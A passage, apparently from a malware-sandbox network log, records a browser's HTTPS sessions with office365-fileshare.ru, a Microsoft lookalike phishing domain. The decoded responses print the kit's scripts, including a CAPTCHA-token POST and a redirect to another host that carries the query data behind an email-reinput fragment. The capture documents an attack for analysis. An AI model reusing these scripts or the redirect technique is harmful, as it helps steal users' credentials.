fetch('VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe', {method: "POST",headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: '6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe'}).then(() => location.reload());</s
2024-11-12 16:29:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49181	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:19 UTC	916	OUT	POST /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Content-Length: 40 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://office365-fileshare.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:19 UTC	40	OUT	Data Raw: 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 4d 5a 4e 46 75 6f 6a 4a 34 57 69 66 4a 57 65 Data Ascii: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
2024-11-12 16:29:20 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUMJVC8Nngi96%2FmQg%2BS4%2FtIv28MZ93gmqhYs%2B6%2F7I90e9jyjZzja7ySpRuep%2F8pT0NfIDIRIqSwOoBJqYAwzcX%2BYnsktrVsh%2FcYYDQvfb7GLHmC3dE0YvcvwXkToun8QDfg0g634zZzR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6733e730c40-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1348&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1556&delivery_rate=2062678&cwnd=249&unsent_bytes=0&cid=45b99d7e252a25f5&ts=848&x=0"
2024-11-12 16:29:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49182	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:19 UTC	802	OUT	GET /favicon.ico HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:20 UTC	948	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v5wFrKG9jEH7werB19OiGWd9%2BwpcSaVz7%2B%2F3mTWP3GUGfH4t4cqa16fhmdgwfeTyELMY%2F60ckYXuCjrxkWjipGAgZiFkI%2FhG14qVbhQ0az0g1pItMu3n2IeKAL0nGbSfQ2qID0ZHDEO7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6736b95a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1397&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1380&delivery_rate=2033707&cwnd=177&unsent_bytes=0&cid=544df5b2d0a9ba58&ts=828&x=0"
2024-11-12 16:29:20 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49183	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:20 UTC	1077	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:22 UTC	1092	IN	HTTP/1.1 302 Found Date: Tue, 12 Nov 2024 16:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F2qzQN1YDjOSnx8sBqhXPZivZ0PsgdEdCtVar8ReE3rXMxeICMxqYsfV3U1pI9JUkw2bi67iDlRjzVxfoFjG3BIdYUovm4SuzPQF8nxvICh%2BYuVhoEO9SufQTCqfR3cooayo8lxikeZB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e67c7c813ac5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1194&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1677&delivery_rate=2518260&cwnd=235&unsent_bytes=0&cid=bcd61a7296160c2d&ts=1595&x=0"
2024-11-12 16:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49185	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:20 UTC	471	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:21 UTC	970	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4X0rQkLMCGbQ3HEmB665dQxt8VjsonEyzEzyJ41Cct91YIr41YgPI7wXzNEhGlqRGZ1%2B2FghLF7hbzziL9DrMJQ01butHHcM8rSPTCqR4rFoN7FW%2BQwib3%2B2BGMNV8%2F8Ax1X1aOJqbYA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e67c88bee7ef-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1049&delivery_rate=1580786&cwnd=244&unsent_bytes=0&cid=e0b0bef6dc3225fa&ts=764&x=0"
2024-11-12 16:29:21 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49186	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:20 UTC	403	OUT	GET /favicon.ico HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:22 UTC	972	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nhf%2B17Cf6YqZMyxnlO%2FDyymJX3Ch0C7WdAdGnkU8rxaEzmZfzpMnJf9MOTeinjE95Q7I%2BW%2BcbvqveoI5TE8e0zk05cjiSBJ1pxHdoBBQYzmpAcHxhK87HT%2FIZFZcRLfK50%2BPIpfyfg7C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e67cd89e533e-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18992&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=981&delivery_rate=152340&cwnd=32&unsent_bytes=0&cid=08ab8108b2fcd2cd&ts=1541&x=0"
2024-11-12 16:29:22 UTC	229	IN	Data Raw: 64 66 0d 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 42 59 4d 55 52 62 79 73 2e 30 2e 30 2e 31 23 52 65 69 6e 70 75 74 5f 45 6d 61 69 6c 27 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 41 6c 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 27 2f 2f 27 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 20 27 27 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: df<script>window.location.replace('https://cpchenm.com/BYMURbys.0.0.1#Reinput_Email' + window.location.href.replaceAll(window.location.protocol+'//'+window.location.hostname+window.location.pathname.toString(), ''));</script>
2024-11-12 16:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49184	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:22 UTC	1091	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:22 UTC	973	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oSUv6jcw75r8cpw%2FK9EieHlezE7vTiBISzlIk2ZDaBboPK6YcIXW9MnTm9ZEgbFYrf31COy%2BnMqfBStIcyrHaOiwoW6xICpV7SHUZBb557zAYmWXLYs4pIdH0%2Bet7PGoM5%2BJLGPTscW%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6867eb3e80f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1123&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1691&delivery_rate=2441821&cwnd=251&unsent_bytes=0&cid=4eb62ef89faaecdc&ts=2163&x=0"
2024-11-12 16:29:22 UTC	323	IN	Data Raw: 31 33 63 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 66 65 74 63 68 28 27 6d 49 69 47 54 4d 64 69 41 43 69 63 49 41 42 4d 49 48 45 4d 66 62 59 73 43 42 49 66 6c 63 64 2f 77 4a 70 75 4c 69 52 6c 49 45 4c 41 69 7a 71 69 57 45 45 65 43 76 4a 48 44 44 67 6c 53 68 47 69 64 72 73 51 75 4b 41 59 7a 49 2f 46 64 59 54 5a 65 52 77 67 42 48 43 65 41 6a 6f 72 6c 54 69 76 75 4c 4e 71 6f 65 68 27 2c 20 7b 6d 65 74 68 6f 64 3a 20 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 20 7b 0d 0a 20 20 20 20 20 20 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 0d 0a 20 20 20 20 7d 2c 62 6f 64 79 3a 20 27 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 Data Ascii: 13c <script> fetch('mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh', {method: "POST",headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: '6LeIxAcTAAAAAGG-vFI1T
2024-11-12 16:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49188	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:23 UTC	1038	OUT	POST /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Content-Length: 40 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://office365-fileshare.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:23 UTC	40	OUT	Data Raw: 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 4d 5a 4e 46 75 6f 6a 4a 34 57 69 66 4a 57 65 Data Ascii: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
2024-11-12 16:29:24 UTC	948	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Di3RQwqI8OEUDPZR6CrJ%2BObsGt2WVxNGDCqnNwcRV%2F5A8d%2BCmhh9x7ImoCOy%2FnAOMCkbueGxQF0WzsQ4YM8k1Psi0oujJEDG41Bjjaj7qoWuiYrFIySyTsoTkJ3H50t5qjWKHpa%2BlGGI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e68f4eda5341-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19009&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1700&delivery_rate=151022&cwnd=32&unsent_bytes=0&cid=972d1534d7b1a357&ts=735&x=0"
2024-11-12 16:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49187	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:23 UTC	816	OUT	GET /favicon.ico HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:24 UTC	1010	IN	HTTP/1.1 302 Found Date: Tue, 12 Nov 2024 16:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6O0a%2B6wA2gL7bPxRlv98SS6zeDQlHgT%2BNr6IZHtO%2Brxu7LbYbiUEglAOksVPNqvBmXDOesxnCBH3HETRAG86znpnUh%2FW5EpYwWDxtAxzjW%2FLsJOiJYvWpkhM%2BjZjHNhDKJ08wWq3MVi1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e68f5c8fe767-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1394&delivery_rate=154362&cwnd=32&unsent_bytes=0&cid=dea97cf9e055b6cd&ts=693&x=0"
2024-11-12 16:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49189	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:24 UTC	1105	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:32 UTC	979	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G%2F8uqTmr0%2FlGWNVLWB0Rwt7Oo0OmP9mp2YgulTf2oCnSMehq%2F6d6zQW4%2Bg07yMwdY70BrJ1iyQGgeabxNkC48I24n%2FKYge%2Fn7Z0OhlWQrsxB%2BpJa5v%2BFZ6oSyv17HLq314lwKXOl21Sy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e6976ef82c9a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3060&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1683&delivery_rate=1012233&cwnd=250&unsent_bytes=0&cid=c756d4f42dab439f&ts=7386&x=0"
